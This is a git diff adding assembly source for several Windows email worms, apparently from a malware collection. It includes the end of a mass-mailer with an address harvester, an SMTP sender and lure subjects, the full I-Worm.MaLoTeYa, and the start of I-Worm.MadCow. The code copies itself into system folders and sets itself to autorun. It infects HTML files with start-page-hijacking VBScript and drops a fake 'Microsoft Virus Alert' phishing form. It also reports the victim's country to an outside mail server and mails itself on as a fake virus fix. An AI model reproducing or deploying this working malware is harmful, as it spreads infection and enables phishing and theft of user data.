FindNextFileA++ or eax,eax+ jnz DirTravel++FirstDirNotFound:+ @pushsz ".."+ api SetCurrentDirectoryA++ or ebx,ebx+ jz AllSubDirSearchEnd++ dec ebx+ pop dword ptr [RecSearchHandle]+ jmp FindNextDir++NextDirNotFound:+ push dword ptr [RecSearchHandle]+ api FindClose+ jmp FirstDirNotFound++AllSubDirSearchEnd:+ ret++;.......................... Random Number ....................................++; IN: Edi+; OUT: Random Number in EDX: 0 <-> Edi-1++GetRndNumber:+ push eax ebx ecx esi esp ebp++ mov eax, dword ptr[RandomNb]+ mov ecx,41C64E6Dh+ mul ecx+ add eax,00003039h+ mov dword ptr[RandomNb], eax++ xor edx, edx+ div edi ; Reste < Edi in EDX++ pop ebp esp esi ecx ebx eax+ ret++;......................... Free The Mem ......................................++FreeTheMem:+ mov ecx, dword ptr[EmailList]+ jecxz FreeTheMemNext1+ call MemFreeIt++FreeTheMemNext1:+ mov ecx, dword ptr[MemMessageBody1]+ jecxz FreeTheMemNext2+ call MemFreeIt++FreeTheMemNext2:+ mov ecx, dword ptr[PersoDocListe]+ jecxz FreeTheMemFin+ call MemFreeIt++FreeTheMemFin:+ ret++MemFreeIt:+ push 00008000h ; MEM_RELEASE+ push 0+ push ecx+ api VirtualFree+ ret++;..................... Clear TempPath & Name .................................++Clear_TempPath&Name:+ xor al,al+ mov ecx,260+ lea edi,TempPath&Name ; Clear the path+ rep stosb+ ret++;..................... Encode File Base 64 ...................................++; IN: Path of the file in offset MyPath+; OUT: Encoded file in Mem++CodeB64File:++OpenFileToEncode:+ xor eax,eax+ push eax+ push FILE_ATTRIBUTE_NORMAL+ push OPEN_EXISTING+ push eax+ push FILE_SHARE_READ+ push GENERIC_READ+ push Offset MyPath ; The file to encode+ api CreateFileA+ inc eax+ je CodeB64FileEnd+ dec eax+ mov dword ptr [TempFileHandle], eax++GetFileToEncodeSize:+ push 0+ push eax+ api GetFileSize+ inc eax+ je CodeB64FileEnd+ dec eax+ mov dword ptr [OurSizeToEncode], eax++ add eax, 1000 ; Security++GetMemToReadFileToEncode:+ xor ebx,ebx+ push PAGE_READWRITE ; read/write page+ push MEM_RESERVE or MEM_COMMIT+ push eax+ push ebx ; System decide where+ api VirtualAlloc+ test eax, eax+ je CodeB64FileEnd+ mov dword ptr[MemToEncode], eax++ReadFileToEncode:+ push 00h+ push offset ByteReaded+ push dword ptr [OurSizeToEncode]+ push eax+ push dword ptr [TempFileHandle]+ api ReadFile++ push dword ptr [TempFileHandle]+ api CloseHandle++GetMemToEncodeFile:+ mov eax, dword ptr [OurSizeToEncode]+ rol eax, 4 ; We need ori size *3 (+security)+ xor ebx,ebx+ push PAGE_READWRITE ; read/write page+ push MEM_RESERVE or MEM_COMMIT+ push eax+ push ebx ; System decide where+ api VirtualAlloc+ test eax, eax+ je CodeB64FileEnd+ mov dword ptr[MemEncoded], eax++AlignFileToEncodeSize:+ mov eax, dword ptr [OurSizeToEncode]+ push 3+ pop ecx+ xor edx,edx+ push eax+ div ecx+ pop eax+ sub ecx,edx+ add eax,ecx ; align size to 3++EncodeFileNow:+ xchg eax,ecx+ mov edx,dword ptr [MemEncoded]+ mov eax,dword ptr [MemToEncode]+ call encodeBase64++ mov dword ptr [EncodedFileSize],ecx++CodeB64FileEnd:+ ret+++;................... Encode Base 64 Algorithme ...............................++encodeBase64: ; By Bumblebee+; input:+; EAX = Address of data to encode+; EDX = Address to put encoded data+; ECX = Size of data to encode+; output:+; ECX = size of encoded data+;+ xor esi,esi+ call over_enc_table+ db "ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ db "abcdefghijklmnopqrstuvwxyz"+ db "0123456789+/"+over_enc_table:+ pop edi+ push ebp+ xor ebp,ebp+baseLoop:+ movzx ebx,byte ptr [eax]+ shr bl,2+ and bl,00111111b+ mov bh,byte ptr [edi+ebx]+ mov byte ptr [edx+esi],bh+ inc esi++ mov bx,word ptr [eax]+ xchg bl,bh+ shr bx,4+ mov bh,0+ and bl,00111111b+ mov bh,byte ptr [edi+ebx]+ mov byte ptr [edx+esi],bh+ inc esi++ inc eax+ mov bx,word ptr [eax]+ xchg bl,bh+ shr bx,6+ xor bh,bh+ and bl,00111111b+ mov bh,byte ptr [edi+ebx]+ mov byte ptr [edx+esi],bh+ inc esi++ inc eax+ xor ebx,ebx+ movzx ebx,byte ptr [eax]+ and bl,00111111b+ mov bh,byte ptr [edi+ebx]+ mov byte ptr [edx+esi],bh+ inc esi+ inc eax++ inc ebp+ cmp ebp,24+ jna DontAddEndOfLine++ xor ebp,ebp+ mov word ptr [edx+esi],0A0Dh+ inc esi+ inc esi+ test al,00h+ org $-1+DontAddEndOfLine:+ inc ebp+ sub ecx,3+ or ecx,ecx+ jne baseLoop++ mov ecx,esi+ add edx,esi+ pop ebp+ ret++;-----------------------------------------------------------------------------+;------------------------------ Data Zone ------------------------------------+;-----------------------------------------------------------------------------++.data+++;-------------------------- Variables Zone -----------------------------------++SmtpFlag db 0 ; Select Mapi or Smtp+PayloadFlag db 0 ; Payload = 1+UserEmailFoundFlag db 0 ; found = 1++;...................... Encode B64 Variables++EncodedFileSize dd 0+MemEncoded dd 0+MemToEncode dd 0+OurSizeToEncode dd 0+ByteReaded dd 0++;...................... Email SMTP Variables++Reg dd 1 ; String+KeySize dd 0 ; Size to read with SHGetValue+ ; (init it + return effectiv lenght read in)++AccountKey db 'Software\Microsoft\Internet Account Manager\Accounts\'+AccountSubKey db 64 dup (0)++SmtpServeur db 64 dup (0) ; smtp server found with regkey+++wsocket dw 2 ; sin_family ever AF_INET+ dw ? ; the port+ServeurIP dd ? ; addr of server node+ db 8 dup (?) ; not used+++hSocket dd 0 ; Socket Handle++ServeurReply dd ? ; error code+ServeurReplyEnd db ? ; byte for LF+++CRLF equ <13,10>++cmd_helo db 'HELO Support',CRLF+cmd_mailfrom db 'MAIL FROM:<'+cmd_rcptto db 'RCPT TO:<'++cmd_data db 'DATA',CRLF+cmd_term db CRLF,'.',CRLF+cmd_quit db 'QUIT',CRLF+++MemMessageBody1 dd 0 ; Ptr on Mem where built header+MessageSize1 dd 0 ; Size Header + bordel Mime++MessageBody1: db 'Mime-Version: 1.0',CRLF+ db 'Content-Type: multipart/mixed; boundary="--123"',CRLF,CRLF++ db '----123',CRLF+ db 'Content-Type: text/plain; charset=us-ascii',CRLF+ db 'Content-Transfer-Encoding: 7bit',CRLF,CRLF,0++ ; Text part++MessageBody1b: db '----123',CRLF+ db 'Content-Type: application/octet-stream; name=',0 ; filename part+MessageBody1c: db 'Content-Transfer-Encoding: base64',CRLF+ db 'Content-Disposition: attachment; filename=',0 ; filename part++ ; Encoded part++MessageBody2: db 10,'--123--',CRLF+MessageSize2 equ $-MessageBody2+++RndFileName1 db '"SETUP.EXE"',0+RndFileName2 db '"HGAME.EXE"',0+RndFileName3 db '"MININET.EXE"',0+RndFileName4 db '"NETAV.EXE"',0+RndFileNameTb dd offset RndFileName1, offset RndFileName4, offset RndFileName3+ dd offset RndFileName4, offset RndFileName2+NbRndFileName equ ($-offset RndFileNameTb)/4++RndText1: db 'Hi ',CRLF+ db 'Here is what you asked, bye. ',CRLF,0+RndText2: db 'Hello ',CRLF+ db 'Maybe you could help me with this, bye. ',CRLF,0+RndText3: db 'Hello ',CRLF+ db 'Now you can try it, bye. ',CRLF,0++RndTextTb dd offset RndText1, offset RndText2, offset RndText3+NbRndText equ ($-offset RndTextTb)/4++RndSubject1 db 'Hello',0+RndSubject2 db 'For you',0+RndSubject3 db 'Try it',0+RndSubject4 db 'Re:',0+RndSubjectTb: dd offset RndSubject2, offset RndSubject1, offset RndSubject4+ dd offset RndSubject3, offset RndSubject4+NbSubject equ ($-offset RndSubjectTb)/4++RndFromName1 db 'morgan',0+RndFromName2 db 'mick',0+RndFromName3 db 'carla',0+RndFromName4 db 'eva',0+RndFromNameTb: dd offset RndFromName1, offset RndFromName2, offset RndFromName3+ dd offset RndFromName4+NbFromName equ ($-offset RndFromNameTb)/4++RndFromServ1 db '@caramail.com',0+RndFromServ2 db '@hotmail.com',0+RndFromServ3 db '@aol.com',0+RndFromServTb: dd offset RndFromServ1, offset RndFromServ2, offset RndFromServ3+NbFromServ equ ($-offset RndFromServTb)/4+++;...................... Email MAPI Variables++IConnectedStateTemp dd 0 ; For InternetConnectedState++MapiMessage equ $+ dd ?+ dd offset subject+ dd offset textmail+ dd ?+ dd offset date+ dd ?+ dd 2+ dd offset MsgFrom+ dd 1+ dd offset MsgTo+ dd 1+ dd offset MapiFileDesc++MsgFrom equ $+ dd ?+ dd ?+ dd offset namefrom+ dd offset mailfrom+ dd ?+ dd ?++MsgTo equ $+ dd ?+ dd 1+ dd offset nameto+ dd offset CurrentEmail+ dd ?+ dd ?++MapiFileDesc equ $+ dd ?+ dd ?+ dd ?+ dd offset MyPath ; File to attache+ dd ?+ dd ?++CurrentEmail db EmailSize dup (0)+MAPISession dd 0++subject db 'Hello',0++date db '',0++namefrom db '',0++mailfrom db EmailSize dup (0)++nameto db '',0++textmail db 'Hi ',CRLF+ db 'Here is what you asked, bye... ',0+++;...................... Residency + Dump Variables++MutexHdl dd 0+MyPath db 260 dup (0)+TempFileHandle dd 0+ByteWritten dd 0++;...................... Email Search Variables++NbEmailFound dd 0 ; Compte combien d'email found+EmailList dd 0 ; Ptr zone Mem ou stocker Emails++TempPath&Name db 260 dup (0)++fhandle dd 0 ; To find & map file+mapaddress dd 0+maphandle dd 0++maphandlemail dd 0 ; for html found+esi_save dd 0+EmailCurrentPos dd 0++RandomNb dd 0 ; Init with GettickCount++NbWabEmail dd 0 ; Nb emails in *.Wab++;...................... Recursive Search Variables++RecSearchHandle dd 0 ; For the Recursive search+RoutineToCall dd 0 ; Ptr on routine to execute in all SubDir++PersonalSearchHandle dd 0 ; For personal doc search+NbPersonalFound dd 0 ; Nb Personal doc found+PersoDocListe dd 0 ; Ptr zone Mem ou stocker Path Doc Perso++;--------------------------- Structures Zone ---------------------------------++;...................... Search File Structure++filetim struct+FT_dwLowDateT dd ?+FT_dwHighDateT dd ?+filetim ends++w32fd struct+FileAttributes dd ?+CreationTime filetim ?+LastAccessTime filetim ?+LastWriteTime filetim ?+FileSizeHigh dd ?+FileSizeLow dd ?+Reserved0 dd ?+Reserved1 dd ?+FileName db 260 dup (0)+AlternateFileN db 13 dup (?)+ db 3 dup (?)+w32fd ends++search w32fd ?++;...................... System Time Structure++SystemTimeData equ $+STDYear dw ?+STDMonth dw ?+STDDayOfWeek dw ?+STDDay dw ?+STDHour dw ?+STDMinute dw ?+STDSecond dw ?+STDMilliseconds dw ?++;...................... Sockets Structure++WSAData equ $+ dw ?+ dw ?+ db 257 dup (?)+ db 129 dup (?)+ dw ?+ dw ?+ dd ?+++end Mv+diff --git a/Worms/InternetWorm/I-Worm.MaLoTeYa.asm b/Worms/InternetWorm/I-Worm.MaLoTeYa.asmnew file mode 100644index 0000000..0994fce--- /dev/null+++ b/Worms/InternetWorm/I-Worm.MaLoTeYa.asm@@ -0,0 +1,754 @@+comment #+Name : I-Worm.MaLoTeYa+Author : PetiK+Date : July 2nd - July 6th+Size : 12288 byte++Action: It copies itself to \WINDOWS\RUNW32.EXE and to \WINDOWS\SYSTEM\MSVA.EXE. It alters the+run= line and creates the VARegistered.htm file in the StartUp folder. This file send some+informations to [email protected] and displays a fake message.+If the version of the platform is Windows 95/98, the file is a service process.+It infects all *.htm and *.html file while writing at the end a VB script. It checks after+if exist a internet connection and scans all *.htm* files in the "Temporary Internet Files"+to find some EMail addreses and send a copy of itself. The worms sends equally an email to+"[email protected]" with the country of the user. When the user want to see the+system properties, the title of the window is changed by "PetiK always is with you :-)".++Greets to Benny, ZeMacroKiller98, Mandragore.++tasm32 /M /ML Maloteya+tlink32 -Tpe -aa -x Maloteya,,,import32++#++.586p+.model flat+.code++JUMPS++callx macro a+extrn a:proc+call a+endm++include useful.inc++;----------------------------------------+;Installation of the worm in the computer+;----------------------------------------+DEBUT:+VERIF: push 00h+ callx GetModuleFileNameA+ push 50h+ push offset szOrig+ push eax+ callx GetModuleFileNameA++ push 50h+ push offset szCopie+ callx GetWindowsDirectoryA+ @pushsz "\RUNW32.EXE"+ push offset szCopie+ callx lstrcat++ push 50h+ push offset szCopb+ callx GetSystemDirectoryA+ @pushsz "\MSVA.EXE"+ push offset szCopb+ callx lstrcat++ push offset szOrig+ push offset szCopie+ callx lstrcmp+ test eax,eax+ jz CACHE++COPIE: push 00h+ push offset szCopie+ push offset szOrig+ callx CopyFileA+ push 00h+ push offset szCopb+ push offset szOrig+ callx CopyFileA++WININI: push 50+ push offset szWinini+ callx GetWindowsDirectoryA+ @pushsz "\\WIN.INI"+ push offset szWinini+ callx lstrcat+ push offset szWinini+ push offset szCopie+ @pushsz "run"+ @pushsz "windows"+ callx WritePrivateProfileStringA++;--------------------------------------------------+;Create VARegistered.htm file in the StartUp folder+;--------------------------------------------------+C_GET: @pushsz "SHELL32.dll"+ callx LoadLibraryA+ mov SHELLhdl,eax+ @pushsz "SHGetSpecialFolderPathA"+ push SHELLhdl+ callx GetProcAddress+ mov getfolder,eax+ push 00h+ push 07h ; STARTUP Folder+ push offset StartUp+ push 00h+ call [getfolder]+ test eax,eax+ je F_HTM+ @pushsz "\VARegistered.htm"+ push offset StartUp+ callx lstrcat++HTM: push 00h+ push 80h+ push 02h+ push 00h+ push 01h+ push 40000000h+ push offset StartUp+ callx CreateFileA+ mov [FileHdl],eax+ push 00h+ push offset octets+ push HTMTAILLE+ push offset htmd+ push [FileHdl]+ callx WriteFile+ push [FileHdl]+ callx CloseHandle+F_HTM: push [SHELLhdl]+ callx FreeLibrary++F_MESS: push 1000+ callx Sleep+ push 1040h+ @pushsz "Microsoft Virus Alert"+ @pushsz "Your system does not appear infected with I-Worm.Magistr"+ push 00h+ callx MessageBoxA+ jmp FIN++;----------------------------------+;Serivice process for Windows 95/98+;----------------------------------+CACHE: @pushsz "KERNEL32.dll"+ callx GetModuleHandleA+ @pushsz "RegisterServiceProcess"+ push eax+ callx GetProcAddress+ xchg ecx,eax+ jecxz D_INF+ push 01h+ push 00h+ call ecx++D_INF: push 50+ push offset szCurrent+ callx GetCurrentDirectoryA+ push offset szCurrent+ callx SetCurrentDirectoryA++;---------------------------------------------+;Infect all *.htm* files of the Windows folder+;---------------------------------------------+FFF: push offset Search+ @pushsz "*.htm*" ; Search some *.htm* files...+ callx FindFirstFileA+ inc eax+ je F_INF+ dec eax+ mov [htmlHdl],eax++i_file: call infect ; and infect them++ push offset Search+ push [htmlHdl]+ callx FindNextFileA+ test eax,eax+ jne i_file+ push [htmlHdl]+ callx FindClose+F_INF:++;-----------------------+; Check if we r conected+;-----------------------+NET1: @pushsz "WININET.dll"+ callx LoadLibraryA+ test eax,eax+ jz FIN+ mov WNEThdl,eax+ @pushsz "InternetGetConnectedState"+ push WNEThdl+ callx GetProcAddress+ test eax,eax+ jz FIN+ mov netcheck,eax+ jmp NET2+NET2: push 00h+ push offset Temp+ call [netcheck] ; Connect to Internet ??+ dec eax+ jnz NET2+FINNET: push [WNEThdl]+ callx FreeLibrary++PAYS: push 50+ push offset szSystemini+ callx GetWindowsDirectoryA+ @pushsz "\Win.ini"+ push offset szSystemini+ callx lstrcat+ push offset szSystemini+ push 20+ push offset org_pays+ push offset Default+ @pushsz "sCountry"+ @pushsz "intl"+ callx GetPrivateProfileStringA++;------------------------------------------------------------------+; Send the name of country to "[email protected]" (perhaps bugs)+;------------------------------------------------------------------+SMTP: push offset WSA_Data ; Winsock+ push 0101h ; ver 1.1 (W95+)+ callx WSAStartup+ or eax,eax+ jnz INIT++ @pushsz "obelisk.mpt.com.uk"+ callx gethostbyname ; convert SMTP Name to an IP address+ xchg ecx,eax+ jecxz FREE_WIN ; Error ?+ mov esi,[ecx+12] ; Fetch IP address+ lodsd+ push eax+ pop [ServIP]++ push 00h ; Create Socket+ push 01h ; SOCK_STREAM+ push 02h ; AF_INET+ callx socket+ mov work_socket,eax+ inc eax+ jz FREE_WIN++ push 16 ; Sze of connect strucure+ call @1 ; Connect structure+ dw 2 ; Family+ db 0, 25 ; Port number+ ServIP dd 0 ; IP of server+ db 8 dup(0) ; Unused+ @1:+ push [work_socket]+ callx connect+ inc eax+ jz CLOSE_SOC++ lea esi,Send_M+ mov bl,6++ Command_Loop: xor eax,eax++ call @2 ; Time-out:+ Time_Out: dd 5 ; Seconds+ dd 0 ; Milliseconds+ @2:+ push eax ; Not used (Error)+ push eax ; Not used (Writeability)+ call @3+ Socket_Set: dd 1 ; Socket count+ work_socket dd 0 ; Socket+ @3:+ push eax ; Unused+ callx select+ dec eax+ jnz CLOSE_SOC++ push 00h+ push 512 ; Received data from socket+ push offset buf_recv+ push [work_socket]+ callx recv+ xchg ecx,eax ; Connection closed ?+ jecxz CLOSE_SOC+ inc ecx ; Error ?+ jz CLOSE_SOC+ or ebx,ebx ; Received stuff was QUIT+ jz CLOSE_SOC ; reply ? then close up.+ mov al,'2' ; "OK" reply++ cmp bl,2 ; Received stuff was the DATA+ jne Check_Reply ; reply ?+ inc eax+ Check_Reply: scasb+ je Wait_Ready++ lea esi,Send_M + (5*4)+ mov bl,1++ Wait_Ready:+ xor ecx,ecx+ lea eax,Time_Out+ push eax+ push ecx ; not used (Error)+ lea eax,Socket_Set+ push eax ; Writeability+ push ecx ; Not used (Readability)+ push ecx ; Unused+ callx select+ dec eax ; Time-ouit ??+ jnz CLOSE_SOC++ cld+ lodsd++ movzx ecx,ax+ shr eax,16+ add eax,ebp++ push ecx ; Send command and data to the socket+ push 00h+ push ecx ; Size of buffer+ push eax ; Buffer+ push [work_socket]+ callx send+ pop ecx+ cmp eax,ecx+ jne CLOSE_SOC+ dec ebx+ jns Command_Loop++CLOSE_SOC:+ push [work_socket]+ callx closesocket+FREE_WIN:+ callx WSACleanup+++INIT: @pushsz "MAPI32.dll"+ callx LoadLibraryA+ test eax,eax+ jz FIN+ mov MAPIhdl,eax+ @pushsz "MAPISendMail"+ push MAPIhdl+ callx GetProcAddress+ test eax,eax+ jz FIN+ mov sendmail,eax++D_GET: @pushsz "SHELL32.dll"+ callx LoadLibraryA+ mov SHELLhdl,eax+ @pushsz "SHGetSpecialFolderPathA"+ push SHELLhdl+ callx GetProcAddress+ mov getfolder,eax+ push 00h+ push 20h ; MSIE Cache Folder+ push offset Cache+ push 00h+ call [getfolder]+ push [SHELLhdl]+ callx FreeLibrary+ push offset Cache+ callx SetCurrentDirectoryA++;-----------------------------------------------------------+; Search email addresses into the "Temporary Internet Files"+;-----------------------------------------------------------+FFF2: push offset Search+ @pushsz "*.htm*"+ callx FindFirstFileA+ inc eax+ je END_SPREAD+ dec eax+ mov [htmlHdl],eax++i_htm: call infect2++ push offset Search+ push [htmlHdl]+ callx FindNextFileA+ test eax,eax+ jne i_file+ push [htmlHdl]+ callx FindClose++END_SPREAD:+ push [MAPIhdl]+ callx FreeLibrary++;---------------------------------------------------------------+; Changes the title of the System Properties window on Wednesday+;---------------------------------------------------------------+DATE: push offset SystemTime+ callx GetSystemTime+ cmp [SystemTime.wDayOfWeek],3+ jne FIN+WIN1: @pushsz "Propri�t�s Syst�me"+ push 00h+ callx FindWindowA+ test eax,eax+ jz WIN2+ jmp WIN3+WIN2: @pushsz "System Properties" ; Change title some windows+ push 00h+ callx FindWindowA+ test eax,eax+ jz WIN1+WIN3: mov edi,eax+ @pushsz "PetiK always is with you :-)"+ push edi+ callx SetWindowTextA+ jmp WIN1++FIN: push 00h+ callx ExitProcess++infect: pushad+ mov esi,offset Search.cFileName+ push esi+ callx GetFileAttributesA+ cmp eax,1+ je end_infect+ push 00h+ push 80h+ push 03h+ push 00h+ push 01h+ push 40000000h+ push esi+ callx CreateFileA+ xchg eax,edi+ inc edi+ je end_infect+ dec edi+ push 02h ; FILE_END+ push 00h+ push [Dist]+ push edi+ callx SetFilePointer+ push 00h+ push offset octets+ push HTMSIZE+ push offset d_htm+ push edi+ callx WriteFile+ push edi+ callx CloseHandle+ push 01h ; READONLY+ push esi+ callx SetFileAttributesA+end_infect: popad+ ret++infect2:pushad+ push 00h+ push 80h+ push 03h+ push 00h+ push 01h+ push 80000000h+ push offset Search.cFileName+ inc eax+ je END_SPREAD+ dec eax+ xchg eax,ebx++ xor eax,eax+ push eax+ push eax+ push eax+ push 02h ; PAGE_READONLY+ push eax+ push ebx+ callx CreateFileMappingA+ test eax,eax+ je F1+ xchg eax,ebp++ xor eax,eax+ push eax+ push eax+ push eax+ push 04h ; FILE_MAP_READ+ push ebp+ callx MapViewOfFile+ test eax,eax+ je F2+ xchg eax,esi++ push 00h+ push ebx+ callx GetFileSize+ xchg eax,ecx+ jecxz F3++d_scan_mail:+ call @melto+ db 'mailto:'+@melto: pop edi+scn_mail:+ pushad+ push 07h+ pop ecx+ rep cmpsb+ popad+ je scan_mail+ inc esi+ loop scn_mail++F3: push esi+ callx UnmapViewOfFile+F2: push ebp+ callx CloseHandle+F1: push ebx+ callx CloseHandle+ popad+ ret++scan_mail:+ xor edx,edx+ add esi,7 ; size of the string "mailto:"+ mov edi,offset m_addr+ push edi+p_car: lodsb ; next character+ cmp al,' ' ; space ??+ je car_s+ cmp al,'"' ; end character ??+ je car_f+ cmp al,'''' ; end character ??+ je car_f+ cmp al,'@' ; @ character ??+ jne not_a+ inc edx+not_a: stosb+ jmp p_car ; jmp to nxt char+car_s: inc esi+ jmp p_car+car_f: xor al,al+ stosb+ pop edi+ test edx,edx ; exist @ ??+ je d_scan_mail+ call ENVOIE+ jmp d_scan_mail+++ENVOIE: xor eax,eax+ push eax+ push eax+ push offset Message+ push eax+ push [MAPIh]+ call [sendmail]+ ret++.data+namer db 50 dup (0)+szCopb db 50 dup (0)+szCopie db 50 dup (0)+szCurrent db 50 dup (0)+szOrig db 50 dup (0)+szSystemini db 50 dup (0)+szWinini db 50 dup (0)+Cache db 70 dup (0)+StartUp db 70 dup (0)+m_addr db 128 dup (?)+WSA_Data db 400 dup (0)+buf_recv db 512 dup (0)+Default db 0+FileHdl dd ?+octets dd ?+netcheck dd ?+sendmail dd ?+getfolder dd ?+htmlHdl dd ?+MAPIhdl dd ?+SHELLhdl dd ?+WNEThdl dd ?+RegHdl dd ?+Dist dd 0+Temp dd 0+MAPIh dd 0+WormName db "I-Worm.MaLoTeYa coded by PetiK (c)2001 (05/07)",00h+Origine db "Made In France",00h++++Message dd ?+ dd offset sujet+ dd offset corps+ dd ?+ dd offset date+ dd ?+ dd 2 ; MAPI_RECEIPT_REQUESTED ??+ dd offset MsgFrom+ dd 1 ; MAPI_UNREAD ??+ dd offset MsgTo+ dd 1+ dd offset AttachDesc++MsgFrom dd ?+ dd ?+ dd offset NameFrom+ dd offset MailFrom+ dd ?+ dd ?++MsgTo dd ?+ dd 1 ; MAIL_TO+ dd offset NameTo+ dd offset m_addr+ dd ?+ dd ?++AttachDesc dd ?+ dd ?+ dd ? ; character in text to be replaced by attachment+ dd offset szCopb ; Full path name of attachment file+ dd ?+ dd ?++sujet db "New Virus Alert !!",00h+corps db "This is a fix against I-Worm.Magistr.",0dh,0ah+ db "Run the attached file (MSVA.EXE) to detect, repair and "+ db "protect you against this malicious worm.",00h+date db "2001/07/01 15:15",00h ; YYYY/MM//DD HH:MM+NameFrom db "Microsoft Virus Alert"+MailFrom db "[email protected]",00h+NameTo db "Customer",00h++Send_M: dw fHELO-dHELO+ dw fFROM-dFROM+ dw fRCPT-dRCPT+ dw fDATA-dDATA+ dw fMAIL-dMAIL+ dw fQUIT-dQUIT++ dHELO db 'HELO obelisk.mpt.com.uk',0dh,0ah+ fHELO:+ dFROM db 'MAIL FROM:<[email protected]>',0dh,0ah+ fFROM:+ dRCPT db 'RCPT TO:<[email protected]>',0dh,0ah+ fRCPT:+ dDATA db 'DATA',0dh,0ah+ fDATA:+ dMAIL: db 'From: "MaLoTeYa",<[email protected]>',0dh,0ah+ db 'Subject: Long Live the Worm',0dh,0ah+ db 'Pays d''origine : '+ org_pays db 20 dup (0)+ db '',0dh,0ah+ db '.',0dh,0ah+ fMAIL:+ dQUIT db 'QUIT',0dh,0ah+ fQUIT:++htmd: db "<html><head><title>Virus Alert Registration</title></head>",0dh,0ah+ db "<SCRIPT LANGUAGE=""VBScript"">",0dh,0ah+ db "Sub control",0dh,0ah+ db "dim i",0dh,0ah+ db "dim caract",0dh,0ah+ db "formu.action=""""",0dh,0ah+ db "If formu.mail.value="""" Then",0dh,0ah+ db " MsgBox ""Forgotten EMail""",0dh,0ah+ db " Else",0dh,0ah+ db " For i= 1 to len(formu.mail.value)",0dh,0ah+ db " caract=mid(formu.mail.value,i,1)",0dh,0ah+ db " If caract=""@"" Then",0dh,0ah+ db " Exit For",0dh,0ah+ db " End If",0dh,0ah+ db " Next",0dh,0ah+ db " If caract=""@"" Then",0dh,0ah+ db " formu.action=""mailto:[email protected]""",0dh,0ah+ db " Else",0dh,0ah+ db " MsgBox ""Invalid EMail""",0dh,0ah+ db " End If",0dh,0ah+ db "End If",0dh,0ah+ db "End Sub",0dh,0ah+ db "</SCRIPT>",0dh,0ah+ db "<body bgcolor=white text=black>",0dh,0ah+ db "<p align=""center""><font size=""5"">Microsoft Virus Alert Registration</font></p>",0dh,0ah+ db "<p align=""left""><font size=""3"">Please fill out this form. </font>",0dh,0ah+ db "<font>You must be connected to internet.</font></p>",0dh,0ah+ db "<p></p>",0dh,0ah+ db "<form name=""formu"" action method=""POST"" enctype=""text/plan"">",0dh,0ah+ db "<p>Name : <input name=""nom"" type=""TEXT"" size=""40""></p>",0dh,0ah+ db "<p>Firstname : <input name=""prenom"" type=""TEXT"" size=""40""></p>",0dh,0ah+ db "<p>City : <input name=""ville"" type=""TEXT"" size=""40""></p>",0dh,0ah+ db "<p>Country : <input name=""pays"" type=""TEXT"" size=""40""></p>",0dh,0ah+ db "<p>E-Mail : <input name=""mail"" type=""TEXT"" size=""40""></p>",0dh,0ah+ db "<p><input type=""submit"" value=""Submit"" name=""B1"" onclick=""control""></p>",0dh,0ah+ db "<p></p>",0dh,0ah+ db "<p align=""center""><font><B>AFTER REGISTRATION YOU CAN DELETE THIS FILE</B></font></p>",0dh,0ah+ db "</form></body></html>",00h+HTMTAILLE equ $-htmd++d_htm: db "",0dh,0ah,0dh,0ah+ db "<SCRIPT Language=VBScript>",0dh,0ah+ db "On Error Resume Next",0dh,0ah+ db "Set fso=CreateObject(""Scripting.FileSystemObject"")",0dh,0ah+ db "Set ws=CreateObject(""WScript.Shell"")",0dh,0ah+ db "ws.RegWrite ""HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"",""http://www.petikvx.fr.fm""",0dh,0ah+ db "document.Write ""<font face='verdana' color=red size='2'>This file is infected by my new virus"+ db "<br>Written by PetiK (c)2001"+ db "<br>HTML/W32.MaLoTeYa.Worm<br></font>""",0dh,0ah+ db "</SCRIPT>",0dh,0ah+HTMSIZE equ $-d_htm++OSVERSIONINFO struct+dwOSVersionInfoSize dd ?+dwMajorVersion dd ?+dwMinorVersion dd ?+dwBuildNumber dd ?+dwPlatformId dd ?+szCSDVersion db 128 dup (?)+OSVERSIONINFO ends++SYSTIME struct+wYear WORD ?+wMonth WORD ?+wDayOfWeek WORD ?+wDay WORD ?+wHour WORD ?+wMinute WORD ?+wSecond WORD ?+wMillisecond WORD ?+SYSTIME ends++MAX_PATH equ 260++FILETIME struct+dwLowDateTime dd ?+dwHighDateTime dd ?+FILETIME ends+WIN32_FIND_DATA struct+dwFileAttributes dd ?+ftCreationTime FILETIME ?+ftLastAccessTime FILETIME ?+ftLastWriteTime FILETIME ?+nFileSizeHigh dd ?+nFileSizeLow dd ?+dwReserved0 dd ?+dwReserved1 dd ?+cFileName dd MAX_PATH (?)+cAlternateFileName db 13 dup (?)+ db 3 dup (?)+WIN32_FIND_DATA ends++OSVer OSVERSIONINFO <>+SystemTime SYSTIME <>+Search WIN32_FIND_DATA <>++end DEBUT+enddiff --git a/Worms/InternetWorm/I-Worm.MadCow.asm b/Worms/InternetWorm/I-Worm.MadCow.asmnew file mode 100644index 0000000..a7750ba--- /dev/null+++ b/Worms/InternetWorm/I-Worm.MadCow.asm@@ -0,0 +1,353 @@+comment * ///// I-Worm.MadCow par PetiK ///// 25/11/2000++Pour assembler : tasm32 /M /ML madcow.asm+ tlink32 -Tpe -aa -x madcow.obj,,,import32.lib *++jumps+locals+.386+.model flat,stdcall++;KERNEL32.dll+extrn lstrcat:PROC+extrn WritePrivateProfileStringA:PROC+extrn CloseHandle:PROC+extrn CopyFileA:PROC+extrn CreateDirectoryA:PROC+extrn CreateFileA:PROC+extrn DeleteFileA:PROC+extrn ExitProcess:PROC+extrn GetModuleFileNameA:PROC+extrn GetModuleHandleA:PROC+extrn GetSystemDirectoryA:PROC+extrn GetWindowsDirectoryA:PROC+extrn MoveFileA:PROC+extrn WinExec:PROC+extrn WriteFile:PROC++;ADVAPI32.dll+extrn RegSetValueExA:PROC+extrn RegCreateKeyExA:PROC+extrn RegCloseKey:PROC++.data+regDisp dd 0+regResu dd 0+l dd 0+p dd 0+fh dd 0+octets dd ?+szOrig db 260 dup (0)+szOrig2 db 260 dup (0)+szCopie db 260 dup (0)+szCopi2 db 260 dup (0)+szCico db 260 dup (0)+szWin db 260 dup (0)+Dossier db "C:\Win32",00h+fichier db "C:\Win32\Salut.ico",00h+Copico db "\MSLS.ICO",00h+Copie db "\Wininet32.exe",00h+Copie2 db "\MadCow.exe",00h+BATFILE db "C:\Win32\ENVOIE.BAT",00h+VBSFILE db "C:\Win32\ENVOIE.VBS",00h+Winini db "\\WIN.INI",00h+run db "run",00h+windows db "windows",00h+fileini db "C:\Win32\script.ini",00h+Copie3 db "C:\Win32\MadCow.exe",00h+script1 db "C:\mirc\script.ini",00h+script2 db 